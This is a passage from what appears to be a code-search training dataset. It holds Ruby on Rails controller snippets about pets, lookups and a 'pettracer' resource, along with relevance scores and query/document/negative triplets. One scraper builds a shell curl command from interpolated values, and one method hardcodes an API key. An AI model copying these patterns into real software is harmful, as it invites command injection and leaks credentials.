"def send_lookup(lookup)\n lookup.ensure_enough_info\n request = build_request(lookup)\n\n response = @sender.send(request)\n\n raise response.error if response.error\n\n candidates = convert_candidates(@serializer.deserialize(response.payload))\n lookup.result = candidates\n end",
"def create\n @ppt_class = PptClass.new(params[:ppt_class])\n params[:ppt_class][:assigned_ppt_node_hq_server] ||= {}\n params[:ppt_class][:assigned_ppt_node_hq_vserver] ||= {}\n \n respond_to do |format|\n if @ppt_class.save\n flash[:notice] = 'Puppet Class was successfully created.'\n format.html { redirect_to :action => :index }\n format.xml { render :xml => @ppt_class, :status => :created, :location => @ppt_class }\n else\n messages = '<ul>Error:'\n @ppt_class.errors.full_messages.each {|msg| messages += '<li>'+msg+'</li>'}\n messages += '</ul>'\n flash[:notice] = messages\n format.html { redirect_to :action => \"new\", :template => 'reflected/new' }\n format.xml { render :xml => @ppt_class.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ScrapPkmn(p1, p2, outdir)\n\tFileUtils.mkpath(outdir);\n\n\tpageURL = \"http://pokemon.alexonsager.net/#{p1}/#{p2}\";\n\timgURL = \"http://images.alexonsager.net/pokemon/fused/#{p2}/#{p2}.#{p1}.png\";\n\toutName = \"#{outdir}/#{p1}_#{p2}_name.txt\";\n\toutImg = \"#{outdir}/#{p1}_#{p2}.png\";\n\n\tdoc = Nokogiri::HTML(open(pageURL));\n\tname = doc.xpath('//*[@id=\"pk_name\"]');\n\n\tFile.write(outName, \"#{name[0].content()}\\n\");\n\t`curl #{imgURL} > \"#{outImg}\"`\nend",
"def create\n @lookup_rad = LookupRad.new(params[:lookup_rad])\n\n respond_to do |format|\n if @lookup_rad.save\n format.html { redirect_to(@lookup_rad, :notice => 'Lookup rad was successfully created.') }\n format.xml { render :xml => @lookup_rad, :status => :created, :location => @lookup_rad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_rad.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end",
"def zipsearch\n require 'uri'\n require 'net/http'\n require 'iconv'\n\n dong_name = Iconv.iconv('euc-kr', 'utf-8', params[:query])\n res = Net::HTTP.post_form(URI.parse('http://biz.epost.go.kr/KpostPortal/openapi'), {'regkey' => '18132c774fa887e6d1318210963744', 'target' => 'post', 'query' => dong_name})\n new_response_body = Iconv.iconv('UTF-8//IGNORE', 'euc-kr', res.body).join\n @retval = new_response_body\n respond_to do |format|\n format.xml { render :xml => @retval }\n end\n end",
"def postMatching_instruction( entity_id, entity_name)\n params = Hash.new\n params['entity_id'] = entity_id\n params['entity_name'] = entity_name\n return doCurl(\"post\",\"/matching_instruction\",params)\n end",
"def create\n respond_to do |format|\n if petitioner.save\n format.html { redirect_to candidate_petitioners_url( petitioner.candidate ), flash: { success: 'Petitioner created.' } }\n format.xml { render xml: petitioner, status: :created, location: petitioner }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: petitioner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.new(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet_report\n @pet_report = PetReport.find(params[:id])\n end",
"def find_pet_by_name(pet_shop, name)\n pets = pets\n for pet in pet_shop[:pets]\n if pet[:name] == name\n pets = pet\n nil\n end\n end\n return pets\nend",
"def index\n @places = Place.lookfor(params[:q])\n @places = @places.map{|p| {:tag=>p.tag,:id=>p.id,:name=>p.name}}\n respond_to do |format|\n format.xml { render :xml => @places }\n end\n end",
"def sell_pet_to_customer__pet_found(customer_cash, pets)\n result = pet_found(\"Arthur\")\n assert_equal([:names] ,pets)\nend",
"def pet_params\n params.require(:pet).permit(:name, :color, :age, :weight, :markings, :gender, :collar, :collar_description, :chipped, :injured,\n :listing_type, :missing_since_found_at, :location, :latitude, :longitude, :description,\n :returned_to_owner, :scraping_script, :scraped_feed, :source_url, :breed_id, :user_id, :photo_url)\n end",
"def search\n @travel = Travel.new(params)\n \n respond_to do |format|\n if @travel.geoname\n format.html { redirect_to travel_path(@travel.geoname.name) }\n format.xml { render :xml => @travel, :status => :created, :location => @travel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @travel.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.new(pet_params)\n @pet.administrators << current_user\n respond_to do |format|\n if @pet.save\n format.html { redirect_to @pet, notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @pet }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def alter_teampak\n ms = MemberSearch.new(@session)\n ms.display_fields(:mem_passport_prefix, :mem_passport)\n html = ms.to_form(url(:handle_alter), \n false,\n \"Find TeamPak\")\n\n standard_page(\"Alter TeamPak\",\n { 'done' => url(:handle_alter)},\n ALTER_FIND,\n html)\n end",
"def find_pet_by_name(petshop, name)\n for pet in petshop[:pets]\n if pet[:name] == name\n return pet\n end\n end\n return nil\nend",
"def index\n @petprofiles = Petprofile.all\n end",
"def set_pet_hotel\n @pet_hotel = PetHotel.find(params[:id])\n end",
"def create\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @vehicle_repair = @vehicle.vehicle_repairs.new(params[:vehicle_repair])\n\n respond_to do |format|\n if @vehicle_repair.save\n format.html { redirect_to(fleet_vehicle_vehicle_repairs_path(@fleet, @vehicle), :notice => 'Vehicle repair was successfully created.') }\n format.xml { render :xml => @vehicle_repair, :status => :created, :location => @vehicle_repair }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vehicle_repair.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def list\n begin\n doc = healthinfo_doc()\n @patients = Array.new\n doc.find('patient').to_a.each do |p|\n patient = Hash.new\n rn = p.find_first('RN')\n name = p.find_first('PtName')\n if rn and name\n patient[:rn] = rn.content\n patient[:name] = name.content\n @patients.push(patient)\n end\n end \n if @patients.empty?\n redirect_to :action => \"auto_complete_for_patient_rn\", :controller => \"entry/testables\", :pid => params[:id]\n logger.debug \"No matching patients from HIS HealthInfo\"\n return\n end\n rescue Exception => exc\n redirect_to :action => \"auto_complete_for_patient_rn\", :controller => \"entry/testables\", :pid => params[:id]\n logger.warn \"Could not connect to HIS HealthInfo service: #{exc.message}\"\n end\n end",
"def set_pet\n @pet = Pet.find_by!(id: params[:pet_id])\n end",
"def create\n @lookup_drugunit = LookupDrugunit.new(params[:lookup_drugunit])\n\n respond_to do |format|\n if @lookup_drugunit.save\n format.html { redirect_to(@lookup_drugunit, :notice => 'Lookup drugunit was successfully created.') }\n format.xml { render :xml => @lookup_drugunit, :status => :created, :location => @lookup_drugunit }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_drugunit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def search\n send_request\n parse_response\n end",
"def prepare_pet(pet_api)\n pet_id = random_id\n category = Petstore::Category.new('id' => 20002, 'name' => 'category test')\n tag = Petstore::Tag.new('id' => 30002, 'name' => 'tag test')\n pet = Petstore::Pet.new('id' => pet_id, 'name' => \"RUBY UNIT TESTING\", 'photo_urls' => 'photo url',\n 'category' => category, 'tags' => [tag], 'status' => 'pending')\n pet_api.add_pet(pet)\n pet_id\nend",
"def index\n @postulation_pets = PostulationPet.all\n end",
"def seo_submit\n for search_engine in ::Pingr::SUPPORTED_SEARCH_ENGINES\n ::Pingr::Request.new(search_engine, pages_url(format: :xml)).ping\n end\n \n redirect_to({:action => :index}, {:notice => '<strong>Yay!</strong> Sitemap XML has been submitted to all supported search engines!'.html_safe})\n end",
"def create\n \n @client = Client.find params[:client_id].to_i\n @pet = Pet.new(pet_params)\n\n @pet.client = @client\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to client_pet_path(@client, @pet), notice: 'Mascota registrada exitosamente.' }\n else\n format.html { render :new }\n end\n end\n end",
"def index\n @adopted_pets = AdoptedPet.all\n end",
"def index\n @adopted_pets = AdoptedPet.all\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def index\n candidate = UspsInPersonProofing::Applicant.new(\n address: search_params['street_address'],\n city: search_params['city'], state: search_params['state'],\n zip_code: search_params['zip_code']\n )\n response = proofer.request_facilities(candidate)\n if response.length > 0\n analytics.idv_in_person_locations_searched(\n success: true,\n result_total: response.length,\n )\n else\n analytics.idv_in_person_locations_searched(\n success: false, errors: 'No USPS locations found',\n )\n end\n render json: response.to_json\n end",
"def get_people(entry_id, search_term2)\n\n begin\n\n q = \"relatedAgentFor_ssim:#{entry_id}\"\n if @display_type == 'matched records'\n q = \"relatedAgentFor_ssim:#{entry_id} AND (person_as_written_search:*#{search_term2}* or person_role_search:*#{search_term2}* or person_descriptor_search:*#{search_term2}* or person_descriptor_same_as_search:*#{search_term2}* or person_note_search:*#{search_term2}* or person_same_as_search:*#{search_term2}* or person_related_place_search:*#{search_term2}* or person_related_person_search:*#{search_term2}*)\"\n end\n fl = 'id, person_as_written_tesim, person_role_new_tesim, person_descriptor_new_tesim, person_descriptor_same_as_tesim, person_note_tesim, person_same_as_new_tesim, person_related_place_tesim, person_related_person_tesim'\n\n person_as_written_string = ''\n person_role_string = ''\n person_descriptor_string = ''\n person_descriptor_same_as_string = ''\n person_note_string = ''\n person_same_as_string = ''\n person_related_place_string = ''\n person_related_person_string = ''\n\n SolrQuery.new.solr_query(q, fl, 1000)['response']['docs'].map do |result|\n person_as_written_string = person_as_written_string + get_place_or_person_string(result['person_as_written_tesim'], person_as_written_string)\n person_role_string = person_role_string + get_place_or_person_string(result['person_role_new_tesim'], person_role_string)\n person_descriptor_string = person_descriptor_string + get_place_or_person_string(result['person_descriptor_new_tesim'], person_descriptor_string)\n person_descriptor_same_as_string = person_descriptor_same_as_string + get_place_or_person_string(result['person_descriptor_same_as_tesim'], person_descriptor_same_as_string)\n person_note_string = person_note_string + get_place_or_person_string(result['person_note_tesim'], person_note_string)\n person_same_as_string = person_same_as_string + get_place_or_person_string(result['person_same_as_new_tesim'], person_same_as_string)\n person_related_place_string = person_related_place_string + get_place_or_person_string(result['person_related_place_tesim'], person_related_place_string)\n person_related_person_string = person_related_person_string + get_place_or_person_string(result['person_related_person_tesim'], person_related_person_string)\n end\n\n @element_array << person_as_written_string\n @element_array << person_role_string\n @element_array << person_descriptor_string\n @element_array << person_descriptor_same_as_string\n @element_array << person_note_string\n @element_array << person_same_as_string\n @element_array << person_related_place_string\n @element_array << person_related_person_string\n\n rescue => error\n log_error(__method__, __FILE__, error)\n raise\n end\n\n end",
"def adopted_pet_params\n params.require(:adopted_pet).permit(:pet_id)\n end",
"def create\n # @petdetail = Petdetail.new(params[:petdetail])\n @appointment = Appointment.find(params[:id])\n @petdetail= @appointment.petdetails.build(params[:petdetail])\n\n respond_to do |format|\n if @petdetail.save\n format.html { redirect_to @petdetail, notice: 'Petdetail was successfully created.' }\n format.json { render json: @petdetail, status: :created, location: @petdetail }\n else\n format.html { render action: \"new\" }\n format.json { render json: @petdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end"
] |
[
"0.66099983",
"0.6114222",
"0.61133844",
"0.5912088",
"0.5912088",
"0.5796141",
"0.5335628",
"0.5335628",
"0.518648",
"0.5173311",
"0.5116872",
"0.4898803",
"0.48800823",
"0.48636475",
"0.4845849",
"0.4825261",
"0.48101485",
"0.48078805",
"0.477831",
"0.47346777",
"0.472848",
"0.47134236",
"0.4664328",
"0.46597803",
"0.46573636",
"0.4656907",
"0.46499076",
"0.46376228",
"0.46359825",
"0.46284053",
"0.46151724",
"0.46079364",
"0.46027988",
"0.45939663",
"0.4588472",
"0.45828652",
"0.45762926",
"0.45702016",
"0.45592886",
"0.45563817",
"0.45524457",
"0.4552441",
"0.45288217",
"0.45257193",
"0.45242634",
"0.4518566",
"0.4515978",
"0.4512704",
"0.45116585",
"0.4510676",
"0.45035955",
"0.44994748",
"0.44992587",
"0.44992587",
"0.44962683",
"0.44824356",
"0.44728437",
"0.44688076",
"0.4465047",
"0.4464535",
"0.44588763",
"0.44585702",
"0.4451846",
"0.4448409",
"0.4445913",
"0.44404837",
"0.44348392",
"0.4427044",
"0.4424546",
"0.4421183",
"0.44209465",
"0.4417523",
"0.4414178",
"0.44067037",
"0.44015744",
"0.44004968",
"0.44000867",
"0.44000867",
"0.4396238",
"0.4396107",
"0.438859",
"0.4379636",
"0.43794447",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665",
"0.4372665"
] |
0.6679185
|
0
|
PUT /lookup_pettracers/1 PUT /lookup_pettracers/1.xml
|
def update
@lookup_pettracer = LookupPettracer.find(params[:id])
respond_to do |format|
if @lookup_pettracer.update_attributes(params[:lookup_pettracer])
format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n if @lookup_pettracer.update(lookup_pettracer_params)#params[:lookup_pettracer], :without_protection => true)\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lookup_pettracer = LookupPettracer.new(params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lookup_pettracer = LookupPettracer.new(lookup_pettracer_params)#params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @lookup_pettracer = LookupPettracer.find(params[:id])\n @lookup_pettracer.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_pettracers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_pettracer = LookupPettracer.find(params[:id])\n @lookup_pettracer.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_pettracers_url) }\n format.xml { head :ok }\n end\n end",
"def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def update\n # find_pet\n @pet.update(pet_params)\n redirect_to pet_path(@pet)\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n flash[:notice] = 'Pet was successfully updated.'\n format.html { redirect_to(@pet) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pet.errors, :lost => :unprocessable_entity }\n end\n end\n end",
"def update\n @lookup = Lookup.find(params[:id])\n\n respond_to do |format|\n if @lookup.update_attributes(params[:lookup])\n format.html { redirect_to @lookup, notice: 'Lookup was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lookup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet.update(pet_params)\n redirect_to \"/pets/#{pet_id}\"\n end",
"def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end",
"def prepare_pet\n # remove the pet\n SwaggerClient::PetApi.delete_pet(10002)\n # recreate the pet\n pet = SwaggerClient::Pet.new('id' => 10002, 'name' => \"RUBY UNIT TESTING\")\n SwaggerClient::PetApi.add_pet(:body => pet)\nend",
"def update\n @lookup_type = Irm::LookupType.find(params[:id])\n\n respond_to do |format|\n if @lookup_type.update_attributes(params[:irm_lookup_type])\n format.html { redirect_to({:action=>\"index\"},:notice => (t :successfully_updated))}\n format.xml { head :ok }\n else\n format.html { render \"edit\" }\n format.xml { render :xml => @lookup_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lookup.update(lookup_params)\n format.html { redirect_to lookups_url, notice: 'Lookups was successfully updated.' }\n format.json { render :show, status: :ok, location: @lookup }\n else\n format.html { render :edit }\n format.json { render json: @lookup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @campus_food = CampusFood.find(params[:id])\n\t@campus_food.location = params[:tags]\n respond_to do |format|\n if @campus_food.update_attributes(params[:campus_food])\n format.html { redirect_to campus_foods_path, notice: 'Campus food was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @campus_food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def set_pet\n @pet = Pet.friendly.find(params[:id])\n end",
"def perform(*args)\n # call petfinder\n response = HTTParty.get('http://api.petfinder.com/pet.find?key=49b6e87785e4e2811b2d5a9668eee5af&format=xml&location=ontario&count=1000')\n # parse xml\n xml_doc = Nokogiri::XML(response.body)\n\n # create hash of attributes\n xml_doc.xpath('//pet').each do |pet_xml|\n pet_attributes = {\n petfinder_id: pet_xml.xpath('id/text()').to_s.to_i,\n city: pet_xml.xpath('contact/city/text()').to_s,\n animal_type: pet_xml.xpath('animal/text()').to_s,\n breed: pet_xml.xpath('breeds/breed/text()')[0].to_s,\n name: pet_xml.xpath('name/text()').to_s,\n gender: pet_xml.xpath('sex/text()').to_s,\n size: pet_xml.xpath('size/text()').to_s,\n age: pet_xml.xpath('age/text()').to_s,\n status: pet_xml.xpath('status/text()').to_s,\n photo: pet_xml.xpath('media/photos/photo[3]/text()').to_s,\n description: pet_xml.xpath('description/text()').to_s,\n shelter_id: pet_xml.xpath('shelterId/text()').to_s\n }\n # save in DB\n #Pet.find_or_create_by!(petfinder_id: pet_id) do |pet|\n # pet.update(pet_attributes)\n #end\n Pet.create!(pet_attributes) unless (Pet.exists?(petfinder_id: pet_attributes[:petfinder_id]) || !Shelter.exists?(shelter_id: pet_attributes[:shelter_id]))\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Has registrado a tu mascota' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n @lookup_set = LookupSet.find(lookup_set_params) # params[:id])\n\n respond_to do |format|\n if @lookup_set.update(params[:lookup_set], :without_protection => true)\n format.html { redirect_to(@lookup_set, :notice => 'Lookup set was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lookup_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: I18n.t(\"pets.show.updated\") }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render json: {\"message\" => \"Pet was successfully updated\", \"success\" => true, \"data\" => @pet}, status: :created, location: @pet }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @petdetail = Petdetail.find(params[:id])\n\n respond_to do |format|\n if @petdetail.update_attributes(params[:petdetail])\n format.html { redirect_to @petdetail, notice: 'Petdetail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @petdetail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def update\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n if @tags_of_novel.update_attributes(params[:tags_of_novel])\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @pet.update(pet_params)\n redirect_to owner_pets_url(@pet.owner), notice: 'Pet was successfully updated.'\n else\n render :edit\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Mascota fue actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to @pet, notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @pet = Pet.find(params[:id])\n\n respond_to do |format|\n if @pet.update_attributes(params[:pet])\n format.html { redirect_to root_path, notice: 'Pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lost_pet = LostPet.find(params[:id])\n\n respond_to do |format|\n if @lost_pet.update_attributes(params[:lost_pet])\n format.html { redirect_to @lost_pet, notice: 'Lost pet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lost_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pet.update(pet_params)\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @pet }\n else\n format.html { render :edit }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_pet_with_http_info(pet, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.update_pet ...'\n end\n # verify the required parameter 'pet' is set\n if @api_client.config.client_side_validation && pet.nil?\n fail ArgumentError, \"Missing the required parameter 'pet' when calling PetApi.update_pet\"\n end\n # resource path\n local_var_path = '/pet'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/xml'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(pet)\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.update_pet\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#update_pet\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n @location_tag = LocationTag.find(params[:id])\n\n respond_to do |format|\n if @location_tag.update_attributes(params[:location_tag])\n flash[:notice] = 'Location tag was successfully updated.' \n format.html { redirect_to(location_tags_path(:farm_id => @farm.id)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @location_tag.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
"def set_pet\n @pet = Pet.find(params[:id])\n end",
